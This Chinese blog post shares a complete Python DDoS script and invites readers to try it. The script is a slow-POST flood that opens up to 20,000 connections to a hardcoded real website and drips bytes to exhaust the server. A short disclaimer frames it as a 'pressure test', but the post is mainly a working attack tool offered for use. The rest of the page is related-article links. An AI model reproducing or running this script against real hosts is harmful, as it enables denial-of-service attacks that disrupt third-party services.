python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中实现指定时间调用函数示例代码
Sep 08 Python
Windows 7下Python Web环境搭建图文教程
Mar 20 Python
通过Py2exe将自己的python程序打包成.exe/.app的方法
May 26 Python
详解Python静态网页爬取获取高清壁纸
Apr 23 Python
python字典的遍历3种方法详解
Aug 10 Python
Pytorch之contiguous的用法
Dec 31 Python
细数nn.BCELoss与nn.CrossEntropyLoss的区别
Feb 29 Python
基于python实现FTP文件上传与下载操作(ftp&sftp协议)
Apr 01 Python
使用jupyter notebook将文件保存为Markdown,HTML等文件格式
Apr 14 Python
解决python的空格和tab混淆而报错的问题
Feb 26 Python
Python 如何利用ffmpeg 处理视频素材
Nov 27 Python
用Python可视化新冠疫情数据
Jan 18 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
Laravel 5 学习笔记
2015/03/06 PHP
php使用标签替换的方式生成静态页面
2015/05/21 PHP
PHP+Ajax实现验证码的实时验证
2016/07/20 PHP
Laravel中间件实现原理详解
2016/10/09 PHP
php 输出json及显示json中的中文汉字详解及实例
2016/11/09 PHP
Thinkphp5.0 框架实现控制器向视图view赋值及视图view取值操作示例
2019/10/12 PHP
一步一步封装自己的HtmlHelper组件BootstrapHelper(三)
2016/09/14 Javascript
jQuery焦点图左右转换效果
2016/12/12 Javascript
解决vue router组件状态刷新消失的问题
2018/08/01 Javascript
JS使用iView的Dropdown实现一个右键菜单
2019/05/06 Javascript
深入了解query和params的使用区别
2019/06/24 Javascript
详解nuxt 微信公众号支付遇到的问题与解决
2019/08/26 Javascript
原理深度解析Vue的响应式更新比React快
2020/04/04 Javascript
小程序自定义导航栏兼容适配所有机型(附完整案例)
2020/04/26 Javascript
openlayers 3实现车辆轨迹回放
2020/09/24 Javascript
vue 使用rules对表单字段进行校验的步骤
2020/12/25 Vue.js
[04:26]DOTA2上海特锦赛小组赛第二日 TOP10精彩集锦
2016/02/27 DOTA
python学习数据结构实例代码
2015/05/11 Python
在Python中操作字典之setdefault()方法的使用
2015/05/21 Python
Python基于time模块求程序运行时间的方法
2017/09/18 Python
python数据类型判断type与isinstance的区别实例解析
2017/10/31 Python
python 获取url中的参数列表实例
2018/12/18 Python
使用pyqt5 tablewidget 单元格设置正则表达式
2019/12/13 Python
Python运行DLL文件的方法
2020/01/17 Python
Python3 pickle对象串行化代码实例解析
2020/03/23 Python
详解查看Python解释器路径的两种方式
2020/10/15 Python
css3.0新属性效果在ie下的解决方案
2010/05/10 HTML / CSS
CSS3圆角边框和边界图片效果实例
2016/07/01 HTML / CSS
Camper鞋西班牙官方网上商店:西班牙马略卡岛的鞋类品牌
2019/03/14 全球购物
教师自我鉴定范文
2014/03/20 职场文书
单位消防安全责任书
2014/07/23 职场文书
我的中国梦演讲稿小学篇
2014/08/19 职场文书
2014年工商所工作总结
2014/12/09 职场文书
2014年小学美术工作总结
2014/12/20 职场文书
化验室安全管理制度
2015/08/06 职场文书
移除Selenium中window.navigator.webdriver值
2022/06/10 Python